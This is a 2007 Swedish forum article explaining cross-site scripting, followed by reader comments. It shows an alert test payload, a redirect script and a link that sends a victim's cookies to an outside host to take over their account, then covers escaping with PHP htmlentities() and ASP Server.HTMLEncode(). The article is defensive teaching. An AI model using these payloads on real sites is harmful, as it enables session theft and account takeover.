Panelen



Forumnavigering
Senast inloggade
RSS
Sponsorer
Artiklar > Säkerhet

Cross Site Scripting - Hur skyddar man sig?

Cross Site Scripting
 
Cross site scripting, förkortat XSS, är ett relativt vanligt säkerhetsproblem som låter användare exekvera programmeringskod på en sajt och på så sätt ändra funktionaliteten. En XSS-attack kan användas för att förstöra en sajts layout eller jävlas lite med besökarna, vilket kanske inte är så allvarligt. Men en mer välgenomförd attack kan innebära att inloggningsinformation stjäls från användare, för att sedan utnyttjas av personen eller personerna bakom attacken.

Jag ska visa ett exempel på hur en attack kan gå till. Vi tänker oss att du precis har surfat in på en sajt med en slarvigt kodad gästbok, som du misstänker är sårbar för en XSS-attack. Då kan du kontrollera om dina misstankar stämmer genom att inkludera en liten javascriptsnutt i ett inlägg och skicka iväg.

<script>alert(”Test”);</script>


Om detta resulterar i att en alertruta dyker upp på skärmen, innehållande ordet test, så har du bevisat att gästboken i vårt exempel är sårbar för en XSS-attack. Prova nu att skriva in följande javascriptkod:

<script>window.location="http://www.google.se";</script>

Nu kommer alla som har javascript aktiverat i sin webbläsare och går in på gästbokssidan att automatiskt skickas till googles hemsida, varken de vill eller inte. Dessa exempel är inte direkt farliga för sajten utan är mest jobbiga och irriterande, men nu ska jag visa något som är betydligt allvarligare.

Släpp tankarna på gästboken och tänk istället att du har registerat dig på ett webbcommunity och upptäckt att meddelandefunktionen som möjliggör privat kontakt mellan två användare är sårbar för en attack. Du bestämmer dig för att försöka stjäla en annan användares konto och skickar därför ett meddelande till användaren ifråga, innehållande en kod i stil med detta:

<a href="javascript:
document.location='http://www.minsida.se/script.php?cookie='+document.cookie;">
Länk</a>

Om den utsatta besökaren nu klickar på denna länk så kommer hans/hennes cookies (som bland annat kan innhålla lösenord och annan information) sparas på "hackerns" hemsida. Allt som krävs är ett enkelt klick.

 

Hur skyddar jag mig?

Det är inte speciellt svårt att täppa igen XSS-hål, det svåra är att hitta dem. Lita därför aldrig på dina besökare, och kontrollera alltid data som användare skickar in, vare sig du tror att det behövs eller ej. Om du jobbar  i PHP så kan du använda dig av funktionen htmlentities(), den konverterar alla "farliga tecken" till ren text.

 

$foo = "ASPkoll är en <b>jättebra</b> sajt!";

echo $foo;

Ovanstående kod kommer skriva ut:

ASPkoll är en jättebra sajt!

Men om vi använder htmlentities() för att skriva ut variabeln så blir det såhär:


$foo = "ASPkoll är en <b>jättebra</b> sajt!";

echo htmlentities($foo);

ASPkoll är en <b>jättebra</b> sajt!
 

Eftersom jag inte är någon "ASP-människa" så är jag inte helt säker, men jag tror att det finns en funktion som heter Server.HtmlEncode() i ASP, som gör i princip samma sak. Nu är det bekräftat av Roosweb, tack!

 

Skapades: 2007-12-20 14:24:06
Skribent: frisko
Lästs 1146 gånger
Betyg: 0 (artikeln har endast 0 röster, det krävs minst 5 för ett betyg)

Kommentarer

Index sa den 20 december 2007 kl 14:52:
Vad bra! Har stört mig på sånt här länge! Men var ska man skriva in denna kod i en gästbok?
chrillemeter sa den 20 december 2007 kl 15:01:
Bra artikel.

@Index
Du skriver in detta i outputen (Där du skriver ut din data)
Roosweb sa den 20 december 2007 kl 15:47:
Kan bekräfta att det finns ett kommando som heter
Server.HTMLEncode()
Index sa den 20 december 2007 kl 15:59:
Tack :D
Pettersoft sa den 15 januari 2008 kl 14:25:
Bra artikel, som vanligt.
frisko sa den 15 januari 2008 kl 22:16:
Tackar, tackar :]
Johan995 sa den 31 mars 2008 kl 19:54:
Bra artikel!
Ska testa några gästböcker :P
© Copyright 2007-2009 Shadi Domat | Version 3.0 | Sidkarta | Policy